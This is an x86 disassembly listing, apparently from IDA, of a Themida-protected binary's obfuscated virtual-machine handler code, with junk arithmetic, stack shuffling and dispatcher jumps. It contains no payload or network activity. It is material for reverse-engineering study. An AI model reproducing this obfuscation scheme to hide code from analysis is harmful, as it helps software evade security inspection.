; ---------------------------------------------------------------------------
loc_559B36: ; CODE XREF: Themida_:00555302j
mov [esp], eax
not dword ptr [esp]
push dword ptr [esp]
pop eax
push edi
push esp
mov edi, [esp]
add esp, 4
add edi, 4
push 6190h
mov [esp], esi
mov esi, 590F0A24h
dec esi
inc esi
shr esi, 4
sub esi, 590F09Eh
add edi, 5B826C53h
add edi, esi
sub edi, 5B826C53h
jmp loc_55A169
; ---------------------------------------------------------------------------
loc_559B7C: ; CODE XREF: Themida_:0055C495j
push eax
mov eax, esp
jmp loc_558A35
; ---------------------------------------------------------------------------
loc_559B84: ; CODE XREF: Themida_:0055354Dj
pop edi
sub esp, 4
mov [esp], ebp
mov ebp, 2
add ecx, 0E54300Ah
jmp loc_5543A6
; ---------------------------------------------------------------------------
loc_559B9E: ; CODE XREF: Themida_:00555927j
push ecx
push esi
mov esi, 0B956301h
push ecx
push eax
mov eax, 6DD42A88h
shr eax, 8
not eax
add eax, 2A906C26h
neg eax
jmp loc_55AC47
; ---------------------------------------------------------------------------
loc_559BBD: ; CODE XREF: Themida_:00557FFBj
or ebx, 29364F3h
shr ebx, 8
sub ebx, 3FF778h
add edi, ebx
jmp loc_55D7C2
; ---------------------------------------------------------------------------
loc_559BD3: ; CODE XREF: Themida_:00553C3Fj
mov dl, 0F6h
jmp loc_55D177
; ---------------------------------------------------------------------------
loc_559BDA: ; CODE XREF: Themida_:0055B0B7j
mov edi, 25544B3Ah
jmp loc_55B57D
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
mov ebp, esp
sub esp, 4
mov [esp], edi
mov edi, 4
sub ebp, 1D965518h
push edx
mov edx, 4B147B57h
sub ebp, edx
pop edx
add ebp, edi
add ebp, 4B147B57h
add ebp, 1D965518h
pop edi
jmp loc_55CB30
; ---------------------------------------------------------------------------
loc_559C1C: ; CODE XREF: Themida_:0055D3A0j
sub bl, al
pop eax
movzx eax, al
mov dx, [esp]
jmp loc_557083
; ---------------------------------------------------------------------------
loc_559C2B: ; CODE XREF: Themida_:0055D1E5j
sub ebx, 0D9BF02AFh
sub eax, ebx
push dword ptr [esp]
pop ebx
add esp, 4
push ecx
mov ecx, 43FC1EFDh
xor ecx, 0A9F3FF3h
push ecx
xchg edx, [esp]
not edx
push edx
push dword ptr [esp+4]
jmp loc_55A253
; ---------------------------------------------------------------------------
loc_559C59: ; CODE XREF: Themida_:0055CB68j
push esi
push 4
pop esi
jmp loc_55B338
; ---------------------------------------------------------------------------
loc_559C65: ; CODE XREF: Themida_:0055A63Dj
sub [esp+4], ebp
sub dword ptr [esp+4], 5D160CE4h
pop ebp
jmp loc_551815
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
jmp loc_55C2E3
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_554AD4
; ---------------------------------------------------------------------------
loc_559C91: ; CODE XREF: Themida_:005593ECj
mov [esp], ebp
push edx
mov edx, 210734A5h
or edx, 0F7C249Eh
jmp loc_558E50
; ---------------------------------------------------------------------------
loc_559CA5: ; CODE XREF: Themida_:0055C696j
push 1C5Eh
mov [esp], esi
push 1598h
mov [esp], esp
add dword ptr [esp], 4
pop esi
push 223Eh
mov [esp], ebp
mov ebp, 4
add esi, 66DC6798h
jmp loc_5533E5
; ---------------------------------------------------------------------------
loc_559CD2: ; CODE XREF: Themida_:0055311Cj
push esp
pop edx
jmp loc_55B45B
; ---------------------------------------------------------------------------
loc_559CD9: ; CODE XREF: Themida_:0055C23Dj
mov esi, 400h
mov ebx, esi
mov esi, [esp]
add esp, 4
and eax, ebx
push dword ptr [esp]
jmp loc_559874
; ---------------------------------------------------------------------------
loc_559CF3: ; CODE XREF: Themida_:0055C58Bj
mov [esp], edx
mov edx, esp
add edx, 4
jmp loc_55C484
; ---------------------------------------------------------------------------
loc_559D03: ; CODE XREF: Themida_:005518D1j
push edx
mov edx, 658E6AC1h
mov ebx, edx
pop edx
sub esp, 4
mov [esp], ecx
jmp loc_553CC5
; ---------------------------------------------------------------------------
loc_559D17: ; CODE XREF: Themida_:0055D140j
shr esi, 1
xor esi, 661F673Ah
inc esi
add esi, 0AADC1BB8h
add edi, esi
pop esi
push edx
mov edx, 4
jmp loc_55BD61
; ---------------------------------------------------------------------------
loc_559D34: ; CODE XREF: Themida_:0055D655j
pop dword ptr [esp]
pop esp
mov [esp], ebx
add dword ptr [esp], 79800C96h
jmp loc_558719
; ---------------------------------------------------------------------------
loc_559D47: ; CODE XREF: Themida_:00558EFBj
pop eax
sub edi, 0FF98F97Fh
jmp loc_558996
; ---------------------------------------------------------------------------
loc_559D53: ; CODE XREF: Themida_:0055A23Ej
sub [esp], ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_559D5D: ; CODE XREF: Themida_:0055DB00j
pop esp
mov [esp], bx
push 5DE5h
mov [esp], ecx
jmp loc_55AEDD
; ---------------------------------------------------------------------------
loc_559D6F: ; CODE XREF: Themida_:00554F4Ej
sub eax, ecx
mov ecx, [esp]
add esp, 4
pop esi
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], edi
jmp loc_55AA8C
; ---------------------------------------------------------------------------
loc_559D89: ; CODE XREF: Themida_:0055A8D6j
push 46D0h
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edi
mov edi, 22CA188Eh
mov edx, 86E184E3h
sub edx, edi
pop edi
xor eax, edx
jmp loc_5551D8
; ---------------------------------------------------------------------------
loc_559DBA: ; CODE XREF: Themida_:00555E1Cj
push ebp
mov ebp, 4BE824B0h
sub ebp, 0BDCA847h
jmp loc_55D6E6
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_55CE6F
; ---------------------------------------------------------------------------
loc_559DDC: ; CODE XREF: Themida_:00556967j
pop eax
add edx, ebx
mov ebx, [esp]
add esp, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push dword ptr [esp]
push dword ptr [esp]
pop edx
push ecx
mov ecx, esp
push edi
jmp loc_55C13B
; ---------------------------------------------------------------------------
loc_559E01: ; CODE XREF: Themida_:00557613j
push esi
mov esi, 558FBA16h
jmp loc_553D88
; ---------------------------------------------------------------------------
loc_559E0C: ; CODE XREF: Themida_:00551F32j
add esp, 4
jmp loc_557F95
; ---------------------------------------------------------------------------
loc_559E17: ; CODE XREF: Themida_:00555D0Bj
neg edx
jmp loc_552D4C
; ---------------------------------------------------------------------------
loc_559E1E: ; CODE XREF: Themida_:00554C5Dj
add ebp, 2F6668F3h
jmp loc_55BBE9
; ---------------------------------------------------------------------------
loc_559E29: ; CODE XREF: Themida_:00555699j
sub esp, 4
mov [esp], edx
jmp loc_553211
; ---------------------------------------------------------------------------
loc_559E34: ; CODE XREF: Themida_:00557C6Bj
pop dword ptr [esp]
push eax
mov eax, 4
jmp loc_557A26
; ---------------------------------------------------------------------------
loc_559E42: ; CODE XREF: Themida_:00551D93j
push esp
pop edi
push ecx
mov ecx, 579002C7h
dec ecx
or ecx, 7C62A4Ch
add ecx, 0A829D536h
jmp loc_55B92C
; ---------------------------------------------------------------------------
loc_559E5C: ; CODE XREF: Themida_:005565E6j
inc ebx
jmp loc_55819F
; ---------------------------------------------------------------------------
loc_559E62: ; CODE XREF: Themida_:00553889j
mov edi, 4
add ebp, edi
pop edi
sub ebp, 4
xchg ebp, [esp]
jmp loc_55D842
; ---------------------------------------------------------------------------
loc_559E75: ; CODE XREF: Themida_:0055B041j
xchg ebx, [esp]
pop esp
mov [esp], eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_55BA5C
; ---------------------------------------------------------------------------
loc_559E8B: ; CODE XREF: Themida_:0055356Dj
or edx, ecx
mov ecx, [esp]
add esp, 4
add edx, 0FFFFFFFFh
shr edx, 6
push esi
jmp loc_557823
; ---------------------------------------------------------------------------
loc_559EA2: ; CODE XREF: Themida_:00553CB3j
add esp, 4
pop edi
push edx
mov edx, 420A741Ah
push eax
jmp loc_551888
; ---------------------------------------------------------------------------
loc_559EB2: ; CODE XREF: Themida_:00554171j
mov ebx, 31115F77h
add ebx, 608159C6h
xor ebx, 0DC4A89BEh
sub edx, 6F2D0547h
sub edx, ebx
add edx, 6F2D0547h
pop ebx
not edx
push ecx
push edi
push 70BD7FD0h
pop edi
and edi, 7AC3348Bh
shl edi, 7
jmp loc_551DA3
; ---------------------------------------------------------------------------
loc_559EEA: ; CODE XREF: Themida_:005547D8j
mov ecx, 16B95C00h
shr ecx, 8
jmp loc_55B9F5
; ---------------------------------------------------------------------------
loc_559EF7: ; CODE XREF: Themida_:0055C182j
mov ebp, esi
jmp loc_557540
; ---------------------------------------------------------------------------
push dword ptr [edi+40h]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_559F06: ; CODE XREF: Themida_:00558DEFj
pop edx
jmp loc_555F6B
; ---------------------------------------------------------------------------
loc_559F0C: ; CODE XREF: Themida_:0055A447j
pop dword ptr [esp]
pop esp
test cl, al
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_559F18: ; CODE XREF: Themida_:00552A5Bj
add ebx, 4
jmp loc_553AC3
; ---------------------------------------------------------------------------
loc_559F20: ; CODE XREF: Themida_:0055C322j
mov eax, esp
push esi
mov esi, 2EB6342Fh
inc esi
dec esi
add esi, 0FFFFFFFFh
and esi, 4AE70E2Eh
sub esi, 0AA6042Ah
jmp loc_55BFAB
; ---------------------------------------------------------------------------
loc_559F41: ; CODE XREF: Themida_:00557318j
mov edi, 63B35491h
shr edi, 1
or edi, 5DE93FD7h
push ecx
mov ecx, 7B074704h
jmp loc_558E22
; ---------------------------------------------------------------------------
loc_559F59: ; CODE XREF: Themida_:00555F0Bj
sub esi, 63C36D0Ah
push edi
mov edi, 244B0EFBh
dec edi
not edi
neg edi
sub edi, 0BD31F0A2h
add esi, edi
pop edi
add eax, esi
jmp loc_55557D
; ---------------------------------------------------------------------------
loc_559F7A: ; CODE XREF: Themida_:0055BF9Cj
push eax
mov eax, 77A37C60h
shl eax, 5
xor eax, 0A436B37h
sub eax, 50AF6C53h
sub eax, 0A8AEBA3Fh
jmp loc_551F21
; ---------------------------------------------------------------------------
loc_559F97: ; CODE XREF: Themida_:00552EE4j
push ebx
jmp loc_558083
; ---------------------------------------------------------------------------
loc_559F9D: ; CODE XREF: Themida_:0055A6A1j
push 262Fh
mov [esp], eax
jmp loc_551815
; ---------------------------------------------------------------------------
loc_559FAA: ; CODE XREF: Themida_:005532C0j
pop dword ptr [esp]
pop esp
shl ch, 2
or ch, 3Ah
shr ch, 4
jmp loc_554981
; ---------------------------------------------------------------------------
loc_559FBC: ; CODE XREF: Themida_:005593C1j
push esi
mov esi, 353F2737h
and esi, 6A9A122Eh
jmp loc_55D58A
; ---------------------------------------------------------------------------
loc_559FCD: ; CODE XREF: Themida_:00553432j
add esi, 4
jmp loc_5563CC
; ---------------------------------------------------------------------------
loc_559FD8: ; CODE XREF: Themida_:0055CF7Fj
xor eax, 62BA1365h
inc eax
push ebp
mov ebp, 24BF0220h
xor ebp, 731F1385h
xor eax, ebp
pop ebp
xor edx, eax
jmp loc_557D68
; ---------------------------------------------------------------------------
loc_559FF4: ; CODE XREF: Themida_:0055D872j
push bx
mov bl, 34h
add al, 85h
add al, bl
sub al, 85h
pop bx
add al, bl
sub al, 34h
push edx
mov dh, 0F8h
and dh, 7Bh
add dh, 0Eh
or dh, 2Ch
or dh, 0C0h
jmp loc_5590CE
; ---------------------------------------------------------------------------
loc_55A018: ; CODE XREF: Themida_:0055D50Fj
add ebp, 4
jmp loc_558AFE
; ---------------------------------------------------------------------------
loc_55A020: ; CODE XREF: Themida_:00554FE6j
add esi, 635A5026h
jmp loc_553E31
; ---------------------------------------------------------------------------
loc_55A02B: ; CODE XREF: Themida_:00556511j
add dword ptr [esp+4], 31D4210h
mov edi, [esp]
push ebp
jmp loc_554BEC
; ---------------------------------------------------------------------------
loc_55A03C: ; CODE XREF: Themida_:0055C0C8j
pop edi
xor edi, 356E2334h
push ebx
push edi
sub esp, 4
mov [esp], ebx
mov ebx, 3EAA0772h
xor [esp+4], ebx
mov ebx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
mov ebx, [esp]
jmp loc_55BB82
; ---------------------------------------------------------------------------
loc_55A075: ; CODE XREF: Themida_:00552B61j
pop eax
add esp, 4
push eax
mov eax, 4
add edi, eax
jmp loc_559B19
; ---------------------------------------------------------------------------
loc_55A086: ; CODE XREF: Themida_:0055D19Dj
mov ecx, [esp]
add esp, 4
jmp loc_552ADE
; ---------------------------------------------------------------------------
loc_55A091: ; CODE XREF: Themida_:00551D9Ej
pop esi
push 24E6h
mov [esp], edx
push edi
push 1A5D7B11h
pop edi
sub edi, 194E72EBh
mov edx, edi
jmp loc_55BA49
; ---------------------------------------------------------------------------
loc_55A0AE: ; CODE XREF: Themida_:0055B597j
push 0DF8h
mov [esp], eax
mov eax, 4
add esi, eax
pop eax
jmp loc_55BD2E
; ---------------------------------------------------------------------------
loc_55A0C3: ; CODE XREF: Themida_:00556F60j
mov esi, eax
jmp loc_558472
; ---------------------------------------------------------------------------
loc_55A0CA: ; CODE XREF: Themida_:005559BCj
movzx eax, al
lea eax, [edi+eax*4]
jmp loc_558B48
; ---------------------------------------------------------------------------
loc_55A0D5: ; CODE XREF: Themida_:00557B34j
pop eax
mov dword ptr [edi+24h], 2A4C0686h
push dword ptr [edi+24h]
jmp loc_55CA2C
; ---------------------------------------------------------------------------
loc_55A0E5: ; CODE XREF: Themida_:00554B10j
pop dword ptr [esp]
pop esp
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55A0EE: ; CODE XREF: Themida_:0055B63Aj
push ebp
sub esp, 4
mov [esp], edi
mov edi, 4A5B4D36h
push eax
mov eax, 592F2C49h
jmp loc_552CB6
; ---------------------------------------------------------------------------
loc_55A105: ; CODE XREF: Themida_:0055C601j
mov [esp], cx
mov cl, 62h
sub al, cl
pop cx
jmp loc_55BAF0
; ---------------------------------------------------------------------------
loc_55A114: ; CODE XREF: Themida_:00556ED6j
pop edx
jmp loc_55C242
; ---------------------------------------------------------------------------
loc_55A11A: ; CODE XREF: Themida_:00558317j
add esp, 4
and eax, ecx
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_55BDFE
; ---------------------------------------------------------------------------
loc_55A130: ; CODE XREF: Themida_:0055A34Ej
push edi
mov edi, 4
add eax, edi
pop edi
jmp loc_55D6B3
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
push edi
jmp loc_55DC78
; ---------------------------------------------------------------------------
loc_55A157: ; CODE XREF: Themida_:005552E6j
push 7181h
mov [esp], esp
add dword ptr [esp], 4
pop edi
jmp loc_5599B5
; ---------------------------------------------------------------------------
loc_55A169: ; CODE XREF: Themida_:00559B77j
push dword ptr [esp]
pop esi
jmp loc_558C54
; ---------------------------------------------------------------------------
loc_55A172: ; CODE XREF: Themida_:0055A22Dj
pop ebp
sub ecx, 3CF12297h
jmp loc_554AB3
; ---------------------------------------------------------------------------
loc_55A17E: ; CODE XREF: Themida_:00555128j
add esi, 2
xor esi, [esp]
jmp loc_552E60
; ---------------------------------------------------------------------------
loc_55A18C: ; CODE XREF: Themida_:00554223j
add ebp, 7D70EA6h
push eax
mov eax, 5BF41E1Eh
add ecx, eax
pop eax
add ecx, ebp
sub ecx, 5BF41E1Eh
jmp loc_55A847
; ---------------------------------------------------------------------------
loc_55A1A8: ; CODE XREF: Themida_:00551F0Bj
shl edi, 1
shl edi, 8
sub edi, 3AF39FCh
mov esi, edi
jmp loc_5571BD
; ---------------------------------------------------------------------------
loc_55A1BA: ; CODE XREF: Themida_:0055514Ej
mov ebx, edx
pop edx
mov ebp, [esp]
push 5D5Eh
mov [esp], edi
push esp
pop edi
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
mov ecx, ebx
pop ebx
and eax, ecx
pop ecx
shr eax, 12h
xor eax, ecx
xor eax, ebx
xor ebx, eax
xor eax, ebx
jmp loc_55C3CA
; ---------------------------------------------------------------------------
loc_55A1F0: ; CODE XREF: Themida_:005581C3j
pop edi
push edx
mov edx, 4
add edi, edx
pop edx
add edi, 4
xchg edi, [esp]
pop esp
sub bl, 48h
add bl, al
add bl, 48h
sub bl, 0A8h
jmp loc_55CDFB
; ---------------------------------------------------------------------------
mov cx, [esp]
push ecx
mov ecx, esp
push ebx
mov ebx, 3C2D36FEh
shl ebx, 4
push ebp
push 0C2D36FE4h
pop ebp
xor ebx, ebp
jmp loc_55A172
; ---------------------------------------------------------------------------
loc_55A232: ; CODE XREF: Themida_:0055B99Dj
pop ecx
pop edi
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_559D53
; ---------------------------------------------------------------------------
loc_55A243: ; CODE XREF: Themida_:0055833Aj
pop ebp
jmp loc_5570E4
; ---------------------------------------------------------------------------
loc_55A249: ; CODE XREF: Themida_:00553B56j
not ebx
xchg ebp, ebx
inc ebp
jmp loc_557551
; ---------------------------------------------------------------------------
loc_55A253: ; CODE XREF: Themida_:00559C54j
pop edx
pop dword ptr [esp]
inc dword ptr [esp]
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_55AA44
; ---------------------------------------------------------------------------
loc_55A271: ; CODE XREF: Themida_:00556CD6j
mov ch, 0B7h
jmp loc_55D7AB
; ---------------------------------------------------------------------------
loc_55A278: ; CODE XREF: Themida_:0055CDACj
add esi, 4
xchg esi, [esp]
pop esp
idiv ecx
push 6AAh
mov [esp], edx
push eax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55A290: ; CODE XREF: Themida_:00554ACFj
sub ecx, 744167DBh
pop ebp
pop ebx
add ecx, 2
push ecx
push dword ptr [esp+4]
jmp loc_558E7D
; ---------------------------------------------------------------------------
loc_55A2A8: ; CODE XREF: Themida_:0055BB85j
xor ebx, 3EAA0772h
sub esp, 4
mov [esp], edx
mov edx, ebx
mov eax, edx
pop edx
jmp loc_55847D
; ---------------------------------------------------------------------------
loc_55A2C1: ; CODE XREF: Themida_:00551CCBj
pop eax
add esp, 4
add eax, 4
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebp
mov ebp, 4
sub eax, ebp
jmp loc_553EE2
; ---------------------------------------------------------------------------
loc_55A2E9: ; CODE XREF: Themida_:0055D1D1j
inc edi
add edi, 1DB642CBh
jmp loc_5572AC
; ---------------------------------------------------------------------------
loc_55A2F5: ; CODE XREF: Themida_:00552666j
mov ecx, 5D775A22h
sub ecx, 7E5A131Eh
push edx
mov edx, 55A2749Ch
or ecx, edx
jmp loc_55882F
; ---------------------------------------------------------------------------
loc_55A30D: ; CODE XREF: Themida_:005590A4j
mov ebp, edx
mov edx, [esp]
jmp loc_554757
; ---------------------------------------------------------------------------
loc_55A317: ; CODE XREF: Themida_:00552740j
xchg edi, [esp]
pop esp
jmp loc_55184F
; ---------------------------------------------------------------------------
loc_55A320: ; CODE XREF: Themida_:00556BFBj
xor ecx, 333E74E0h
push ebx
mov ebx, ecx
jmp loc_5569CA
; ---------------------------------------------------------------------------
loc_55A32E: ; CODE XREF: Themida_:0055663Aj
add esi, 4
push eax
mov eax, 4
jmp loc_551D80
; ---------------------------------------------------------------------------
loc_55A33F: ; CODE XREF: Themida_:0055667Bj
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
add eax, 4
jmp loc_55A130
; ---------------------------------------------------------------------------
loc_55A353: ; CODE XREF: Themida_:0055C4A3j
xor ecx, 4E406974h
push ecx
mov ebx, [esp]
push 212Bh
mov [esp], ebx
push esp
mov ebx, [esp]
add esp, 4
add ebx, 4
add ebx, 4
push ebx
push dword ptr [esp+4]
pop ebx
jmp loc_55D5A9
; ---------------------------------------------------------------------------
loc_55A383: ; CODE XREF: Themida_:00554396j
pop ecx
add edi, edx
mov edx, [esp]
push edi
mov edi, esp
add edi, 4
sub esp, 4
jmp loc_559A1E
; ---------------------------------------------------------------------------
loc_55A39D: ; CODE XREF: Themida_:0055CEA4j
shr esi, 2
jmp loc_55BC74
; ---------------------------------------------------------------------------
loc_55A3A5: ; CODE XREF: Themida_:005561E8j
pop esp
mov cx, [esp]
push 6E6Bh
jmp loc_55CBF1
; ---------------------------------------------------------------------------
loc_55A3B4: ; CODE XREF: Themida_:005567DCj
pop esi
jmp loc_55DB38
; ---------------------------------------------------------------------------
loc_55A3BA: ; CODE XREF: Themida_:0055A43Dj
xor edi, edx
not edx
push edi
jmp loc_5543EE
; ---------------------------------------------------------------------------
loc_55A3C4: ; CODE XREF: Themida_:0055CC25j
sub eax, ebp
sub eax, 6EEF5D09h
pop ebp
or [edi+1Ch], eax
push dword ptr [esp]
pop eax
push eax
mov eax, esp
sub esp, 4
mov [esp], esi
mov esi, 35AE154Ch
push edi
mov edi, 1
sub esi, edi
pop edi
sub esi, 35AE1547h
add eax, esi
mov esi, [esp]
add esp, 4
jmp loc_558708
; ---------------------------------------------------------------------------
mov ax, fs:[edx]
jmp loc_556C00
; ---------------------------------------------------------------------------
loc_55A40C: ; CODE XREF: Themida_:0055C9D0j
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
mov [esp], ecx
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55A420: ; CODE XREF: Themida_:00551A6Bj
mov ecx, [esp]
jmp loc_55D421
; ---------------------------------------------------------------------------
loc_55A428: ; CODE XREF: Themida_:00551950j
push 3BF6h
mov [esp], ecx
mov ch, 21h
mov ah, 50h
sub ah, ch
jmp loc_55607B
; ---------------------------------------------------------------------------
loc_55A43B: ; CODE XREF: Themida_:0055404Ej
xor edx, edi
jmp loc_55A3BA
; ---------------------------------------------------------------------------
loc_55A442: ; CODE XREF: Themida_:0055A477j
push dword ptr [esp+4]
pop edx
jmp loc_559F0C
; ---------------------------------------------------------------------------
loc_55A44C: ; CODE XREF: Themida_:00558B17j
pop small word ptr [esp]
push small 39E5h
mov [esp], ax
push dx
jmp loc_55ADF2
; ---------------------------------------------------------------------------
loc_55A45F: ; CODE XREF: Themida_:00558D32j
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
jmp loc_5551CF
; ---------------------------------------------------------------------------
loc_55A470: ; CODE XREF: Themida_:00552383j
add edx, 2
push edx
jmp loc_55A442
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcl dword ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55A48B: ; CODE XREF: Themida_:00556128j
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edx
push eax
jmp loc_55CBC7
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], eax
mov eax, 1DC04F48h
push ebp
jmp loc_55CC1B
; ---------------------------------------------------------------------------
loc_55A4AD: ; CODE XREF: Themida_:00556E2Dj
add esp, 4
sub esp, 4
mov [esp], edx
push 7D87h
mov [esp], ebp
mov ebp, 800000h
push esi
mov esi, ebp
jmp loc_55691C
; ---------------------------------------------------------------------------
loc_55A4CE: ; CODE XREF: Themida_:005542F4j
sub edi, 6B367DB6h
add edi, 29216D38h
and edi, 3535414Ch
add edi, 181523BAh
jmp loc_553060
; ---------------------------------------------------------------------------
loc_55A4EB: ; CODE XREF: Themida_:0055C53Ej
xchg eax, [esp]
pop esp
mov [esp], esi
mov esi, esp
add esi, 4
push edi
mov edi, 4
add esi, edi
jmp loc_556213
; ---------------------------------------------------------------------------
loc_55A507: ; CODE XREF: Themida_:00556717j
sub esi, 6178580Ah
add esi, eax
jmp loc_554B8C
; ---------------------------------------------------------------------------
loc_55A514: ; CODE XREF: Themida_:0055670Aj
mov [esp], ecx
push esp
pop ecx
add ecx, 4
sub esp, 4
mov [esp], ebx
push ebp
jmp loc_55DA22
; ---------------------------------------------------------------------------
loc_55A52E: ; CODE XREF: Themida_:00553045j
sub eax, 7B7261FDh
jmp loc_55226C
; ---------------------------------------------------------------------------
loc_55A538: ; CODE XREF: Themida_:00558557j
push ecx
mov ecx, 154C0C2Fh
add ecx, 49D78FE6h
jmp loc_5584A3
; ---------------------------------------------------------------------------
loc_55A549: ; CODE XREF: Themida_:00558001j
sub edx, 11661FAAh
jmp loc_5593D0
; ---------------------------------------------------------------------------
loc_55A554: ; CODE XREF: Themida_:005522ACj
mov ecx, [esp]
add esp, 4
jmp loc_553EBD
; ---------------------------------------------------------------------------
loc_55A562: ; CODE XREF: Themida_:00552209j
add esi, edi
jmp loc_559280
; ---------------------------------------------------------------------------
loc_55A569: ; CODE XREF: Themida_:0055240Aj
mov ebx, [esp]
jmp loc_558B1C
; ---------------------------------------------------------------------------
loc_55A571: ; CODE XREF: Themida_:00557742j
push ebp
mov ebp, 65E14E97h
xor ebx, ebp
pop ebp
jmp loc_555059
; ---------------------------------------------------------------------------
loc_55A57F: ; CODE XREF: Themida_:00552C2Ej
add ax, di
jmp loc_55D3F5
; ---------------------------------------------------------------------------
loc_55A587: ; CODE XREF: Themida_:0055997Fj
mov [esp], esi
mov esi, 4
add ecx, esi
jmp loc_55AD9D
; ---------------------------------------------------------------------------
loc_55A596: ; CODE XREF: Themida_:0055392Cj
add ebp, 4
jmp loc_55BA03
; ---------------------------------------------------------------------------
loc_55A5A1: ; CODE XREF: Themida_:005563C7j
mov esp, [esp]
mov [esp], dx
mov dh, 5Fh
add al, 0E5h
add al, dh
push ecx
push edx
mov dh, 3Bh
mov ch, 74h
add ch, 80h
sub ch, 2Ah
sub ch, dh
add ch, 2Ah
sub ch, 80h
pop edx
shl ch, 3
shl ch, 5
push ebx
mov bh, 0Eh
jmp loc_552A1B
; ---------------------------------------------------------------------------
loc_55A5D1: ; CODE XREF: Themida_:005548A8j
pop edx
push ebp
mov ebp, 4
add edx, ebp
pop ebp
add edx, 4
push edx
push dword ptr [esp+4]
jmp loc_555F94
; ---------------------------------------------------------------------------
loc_55A5EB: ; CODE XREF: Themida_:0055CBC2j
mov ebp, 266A782Ch
add ecx, ebp
jmp loc_55313D
; ---------------------------------------------------------------------------
loc_55A5F7: ; CODE XREF: Themida_:00558F7Ej
sub ebx, ecx
pop ecx
add ebx, 5D0D1AE6h
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
push esi
jmp loc_55406B
; ---------------------------------------------------------------------------
loc_55A60F: ; CODE XREF: Themida_:00558A89j
pop ebx
sub eax, ecx
pop ecx
jmp loc_55ADDA
; ---------------------------------------------------------------------------
loc_55A618: ; CODE XREF: Themida_:0055AAB9j
add ebx, 4
push ecx
mov ecx, 4
add ebx, ecx
pop ecx
xchg ebx, [esp]
jmp loc_55BE57
; ---------------------------------------------------------------------------
loc_55A62F: ; CODE XREF: Themida_:0055BEBBj
add ebp, 0CD9569DEh
add dword ptr [esp+4], 5D160CE4h
jmp loc_559C65
; ---------------------------------------------------------------------------
loc_55A642: ; CODE XREF: Themida_:00554693j
cmp eax, edx
jz loc_55D128
push esi
jmp loc_55259B
; ---------------------------------------------------------------------------
loc_55A650: ; CODE XREF: Themida_:00557196j
mov ebp, [esp]
jmp loc_55BC14
; ---------------------------------------------------------------------------
loc_55A658: ; CODE XREF: Themida_:00559641j
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], edi
mov edi, 1031229Ch
inc edi
add edi, 0EFCEDD67h
add ebp, edi
pop edi
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
sub esp, 4
mov [esp], esp
jmp loc_556AD9
; ---------------------------------------------------------------------------
loc_55A692: ; CODE XREF: Themida_:00559658j
push edi
mov edi, 4
add ebx, edi
pop edi
xchg ebx, [esp]
mov esp, [esp]
jmp loc_559F9D
; ---------------------------------------------------------------------------
loc_55A6A6: ; CODE XREF: Themida_:00557524j
add bl, ah
pop eax
sub bl, 0E9h
movzx eax, al
push small 433Ch
mov [esp], ax
jmp loc_5538B6
; ---------------------------------------------------------------------------
loc_55A6BC: ; CODE XREF: Themida_:0055D5E9j
add esp, 2
jmp loc_556D5E
; ---------------------------------------------------------------------------
loc_55A6C4: ; CODE XREF: Themida_:00552EA4j
dec edi
sub edi, 1324354Ah
sub edi, 50AA5B57h
xor edi, 69974419h
push 2B7h
mov [esp], esi
push edx
mov edx, 28BD1C14h
or edx, 491E0CB2h
xor edx, 8ED0DCCh
sub edx, 3BEB4818h
push edx
not dword ptr [esp]
pop edx
xor edx, 0FFE72EA6h
mov esi, edx
pop edx
and esi, 579A5EE8h
sub esi, 47A2025Ch
add esi, 1
add esi, 0EDDF7C63h
xor edi, esi
jmp loc_55DB72
; ---------------------------------------------------------------------------
loc_55A724: ; CODE XREF: Themida_:0055268Bj
sub al, dh
pop edx
push cx
jmp loc_557163
; ---------------------------------------------------------------------------
loc_55A72E: ; CODE XREF: Themida_:005564B4j
pop ebx
push dword ptr [esp]
pop eax
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
jmp loc_551815
; ---------------------------------------------------------------------------
loc_55A74B: ; CODE XREF: Themida_:00555A77j
mov ebp, 6D334E43h
mov edi, ebp
pop ebp
push edi
mov edi, 2A435D44h
sub edi, 6BBB787Ah
neg edi
add edi, 4CD41AC4h
not edi
sub edi, 0DEE71848h
mov edx, edi
pop edi
add edx, edi
jmp loc_557E16
; ---------------------------------------------------------------------------
loc_55A779: ; CODE XREF: Themida_:00559771j
add dword ptr [edi+20h], 2612D0CAh
or dword ptr [edi+20h], 61C64103h
not dword ptr [edi+20h]
jmp loc_551C72
; ---------------------------------------------------------------------------
